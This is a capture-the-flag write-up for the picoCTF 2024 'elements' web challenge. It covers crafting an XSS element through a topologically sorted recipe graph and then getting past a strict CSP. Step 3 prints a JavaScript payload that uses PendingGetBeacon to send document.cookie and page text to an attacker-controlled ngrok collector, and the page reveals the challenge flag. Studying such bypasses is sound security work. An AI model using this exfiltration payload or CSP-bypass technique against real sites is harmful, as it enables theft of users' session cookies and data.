Skip to main content

elements picoCTF 2024 Solution

Craft the XSS element so it renders in the admin bot's page, then exfiltrate around the CSP with an API it misses.

Published: April 3, 2024Updated: August 25, 2026

Description

A crafting game in the style of Little Alchemy: combine base elements to discover new ones. The twist is that the recipe you submit is rendered into an admin bot's page, so the real goal is to craft an 'XSS' element, fire it inside a strict Content Security Policy, and exfiltrate the flag. This was the second-least-solved challenge of picoCTF 2024.

Remote (web)

Open the challenge site and read how /craft and /remoteCraft work.

Inspect the response headers to read the Content-Security-Policy the admin page enforces.

Stand up an external collector (ngrok, webhook.site) to receive the exfiltrated flag.

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1Model the crafting graph and reach the XSS element
    Observation
    The game only lets you craft an element when both ingredients are already unlocked, so the XSS element's whole dependency tree has to be built in order. Treat the recipe list as a directed acyclic graph and topologically sort it.
    The game defines recipes like 'Exploit + Web Design = XSS'. To unlock the XSS element you must craft every ingredient in its dependency tree first, in valid order. Build the recipe graph, find the path from the base elements (Fire, Water, Earth, Air) up to XSS, and topologically sort it so each craft only uses elements you already have.
    python
    python3 - <<'PY'
    # recipes: result -> (ingredient_a, ingredient_b)
    # Build the full set you must craft, then topo-sort so dependencies come first.
    from collections import deque
    
    recipes = { "XSS": ("Exploit", "Web Design"), }  # fill from the site's recipe list
    def deps(target):
        order, seen = [], set()
        def visit(x):
            if x in seen: return
            seen.add(x)
            if x in recipes:
                for ing in recipes[x]:
                    visit(ing)
                order.append(x)
        visit(target)
        return order
    
    print(deps("XSS"))   # craft these in this order
    PY
    What didn't work first

    Tried: Craft elements in the order they appear in the recipe list on the site, without sorting by dependencies first.

    The site rejects a craft when either ingredient is still locked. XSS depends on intermediates that depend on earlier elements, so an unsorted sequence breaks partway through. A topological sort puts every prerequisite ahead of the thing that needs it.

    Tried: Manually trace the dependency chain by eye instead of writing a graph traversal.

    The XSS recipe runs several levels deep, so tracing by hand misses shared sub-dependencies or hits them out of order. A traversal over the recipe dict is reliable, and it still works if the recipe set changes.

    Learn more

    Why topological sorting. You can only combine elements you already own, so the craft sequence must respect dependencies: an element appears only after both of its ingredients. A topological sort of the recipe DAG produces exactly such an ordering. This is the same ordering problem as build systems and package managers solve.

  2. Step 2Understand the CSP that blocks the obvious exfil
    Observation
    The admin page returns a Content-Security-Policy with a restrictive connect-src, so fetch() and XMLHttpRequest die before reaching any external collector. Work out exactly which request primitives that policy covers before trying to exfiltrate anything.
    The admin page sets a strict Content-Security-Policy. Inline script may run via the crafted element, but connect-src / default-src forbid outbound requests to your domain, so fetch(), XHR, navigator.sendBeacon(), image beacons, and form posts to an external host are all refused. You need a request primitive the CSP does not cover.
    Learn more

    What CSP actually restricts. A Content-Security-Policy enumerates which origins each resource type may load from. connect-src governs fetch/XHR/WebSocket/sendBeacon, img-src governs images, script-src governs script sources. If every network-capable directive (or default-src) excludes your collector, the browser silently blocks the request before it leaves. That is why a normal fetch("https://me/?f="+flag) does nothing here.

  3. Step 3Exfiltrate with a CSP-unaware browser API
    Observation
    fetch(), XHR, image beacons, and sendBeacon() are all blocked. But the admin bot runs a Chrome version that shipped the experimental PendingBeacon API before CSP enforcement caught up with it, so PendingGetBeacon or PendingPostBeacon slips past connect-src.
    The winning trick is to use an experimental Chromium feature whose requests were not subject to CSP: the PendingBeacon API (window.PendingGetBeacon / PendingPostBeacon). It issues an HTTP request that connect-src does not block, so you can ship the document cookie / flag to your external collector despite the policy. Put the call inside the crafted XSS payload and submit it via /remoteCraft so the admin bot executes it.
    js
    // payload carried by the crafted "XSS" element, run on the admin page:
    const b = new PendingGetBeacon("https://<your-ngrok>/x?f=" + encodeURIComponent(document.cookie + document.body.innerText));
    b.sendNow();
    bash
    # Watch your collector; the admin bot's request carries the flag.

    The path shown here was an unintended one: it abused a Chrome-only API that did not honour CSP. PendingBeacon was later removed, so on a current browser you may need an equivalent non-fetch channel (for example a navigation-based leak); the principle is the same: find a request type the policy does not cover.

    What didn't work first

    Tried: Use fetch() or XMLHttpRequest to POST the flag to an ngrok collector endpoint.

    connect-src blocks outbound requests to external origins, so the browser drops fetch() and XHR before they leave the page. Nothing reaches the collector and nothing appears in the response to tell you why. PendingBeacon, or another API that predates CSP coverage, goes around the check entirely.

    Tried: Use an image beacon (new Image().src = 'https://collector/?f=' + flag) to bypass connect-src.

    An image beacon falls under img-src, which this policy locks down alongside connect-src, so the load is blocked and the collector gets nothing. PendingBeacon issues its request through a background-sync code path that was not yet wired into CSP checks in the bot's Chrome version.

    Learn more

    Why this works. CSP enforcement is implemented per request type. When a browser ships a new network API before the CSP plumbing is added, that API becomes an exfiltration hole: the bytes leave the page even though connect-src would have blocked an equivalent fetch. Bug-bounty and CTF web exploitation both rely on enumerating these gaps when a policy looks airtight.

Interactive tools
  • URL Encoder / DecoderEncode and decode URL-encoded (percent-encoded) strings. Useful for web exploitation challenges involving query parameters, form data, and HTTP headers.
  • Regex TesterTest regular expressions against a string with live match highlighting, flag toggles, and common CTF pattern shortcuts.

Flag

Reveal flag

picoCTF{little_alchemy_was_the_0g_game_does_anyone_rememb3r_...}

Craft the XSS element by topologically sorting the recipe graph, then bypass the strict CSP by exfiltrating with an experimental browser API (PendingBeacon) that connect-src did not enforce, sending the flag from the admin bot's page to your collector.

Key takeaway

Content Security Policy limits which origins the browser will contact per resource category, but it is only as complete as its coverage of every network-capable API. When a browser ships a new request primitive, a beacon or a reporting endpoint, before the directives grow to cover it, that primitive becomes an exfiltration channel through an otherwise sound policy. Bug bounty CSP bypasses follow exactly this pattern: audit every network API in the target browser version, not just fetch and XHR. Keep directives current with browser capabilities, and run a report-only policy in staging to catch the gaps early.

Related reading

Useful tools for Web Exploitation

Where to go next